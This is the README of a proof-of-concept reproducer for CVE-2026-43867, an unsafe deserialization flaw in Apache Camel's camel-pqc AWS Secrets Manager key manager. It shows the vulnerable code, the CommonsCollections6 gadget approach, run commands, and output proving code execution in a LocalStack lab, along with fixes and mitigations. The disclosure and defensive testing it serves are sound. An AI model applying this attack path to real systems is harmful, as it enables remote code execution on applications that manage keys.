
Reproducer for CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager unsafe key-metadata deserialization (RCE)
This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-pqc component,
tracked as CVE-2026-43867. AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() reads persisted
post-quantum key metadata back from an AWS Secrets Manager secret by Base64-decoding the stored value and
deserializing it with a raw java.io.ObjectInputStream.readObject() and no ObjectInputFilter — the cast
to KeyMetadata happens only after readObject() returns, so any readObject() side effects run first. A
principal who can write to that secret (secretsmanager:PutSecretValue) can store a crafted serialized object
that is deserialized during normal key-lifecycle operations, potentially leading to code execution.
Advisory: https://camel.apache.org/security/CVE-2026-43867.html
| Property | Value |
|---|---|
| Component | camel-pqc (AwsSecretsManagerKeyLifecycleManager) |
| Affected Class | org.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Impact | Code execution in the key-managing application (requires write access to the metadata secret) |
| Affected Versions | From 4.18.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.18.3, 4.21.0 (camel-pqc is not on the 4.14.x LTS line) |
| JIRA | CAMEL-23726 |
| Reporter | Venkatraman Kumar (Securin) |
Same defect as CVE-2026-46590 (reported independently; that advisory also covers the HashiCorp Vault and file-based sibling managers), and an incomplete-remediation follow-on to CVE-2026-40048 (CAMEL-23200), which changed
FileBasedKeyLifecycleManagerto a JSON/PKCS#8/X.509 format but did not add anObjectInputFilterand did not cover the AWS/Vault managers.
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) { // NO ObjectInputFilter
return (KeyMetadata) ois.readObject(); // gadget fires here, before the cast
}
}
getKeyMetadata(keyId) reads the secret named <keyPrefix>/<keyId>/metadata, parses its JSON envelope
({"metadata":"<base64>","keyId":...,"algorithm":...}), and passes the metadata field to
deserializeMetadata. The fix (4.18.3 / 4.21.0) introduces a shared KeyMetadataCodec that stores metadata as
JSON for all managers and constrains the remaining legacy ObjectInputStream reads with an allow-list
ObjectInputFilter.
The victim is the application that manages PQC keys with the AWS manager. The attacker is any principal
who can write the metadata secret (secretsmanager:PutSecretValue). This PoC uses LocalStack to emulate AWS
Secrets Manager; the /exploit/attack endpoint writes a crafted metadata secret and then drives the manager's
read path.
CVE-2026-43867/
├── pom.xml # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile # runs the app (--add-opens for gadget build)
├── docker-compose.yml # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # writes the crafted secret, then calls getKeyMetadata()
└── resources/
└── application.properties
In a real attack the serialized bytes are produced offline by the attacker (e.g. with ysoserial). This PoC builds the gadget in-process, which is why the JVM runs with
--add-opens java.base/java.util=ALL-UNNAMED— a gadget-construction detail, unrelated to the vulnerability.
mvn clean package -DskipTests
docker compose up -d --build
This starts LocalStack (emulating AWS Secrets Manager) and the reproducer app, which points its
AwsSecretsManagerKeyLifecycleManager at LocalStack via the endpoint override.
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
# getKeyMetadata() threw java.lang.ClassCastException (expected — the gadget runs during readObject ...)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43867 ls -la /tmp/pwned
docker compose down
Any application using AwsSecretsManagerKeyLifecycleManager whose key-metadata secret can be written by a party
other than the application's own trusted identity. The deserialization runs during ordinary key-lifecycle
operations (getKeyMetadata, loadExistingKeys, listKeys, rotation checks, …).
AwsSecretsManagerKeyLifecycleManager on an affected version.secretsmanager:PutSecretValue on it).commons-collections:3.2.1).Upgrade to 4.18.3 / 4.21.0 (CAMEL-23726). Metadata is stored as JSON and any remaining legacy
ObjectInputStream reads are constrained by an allow-list ObjectInputFilter.
Until upgrading:
secretsmanager:PutSecretValue on the camel-pqc metadata secret to the application's own identity
(least-privilege IAM).This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.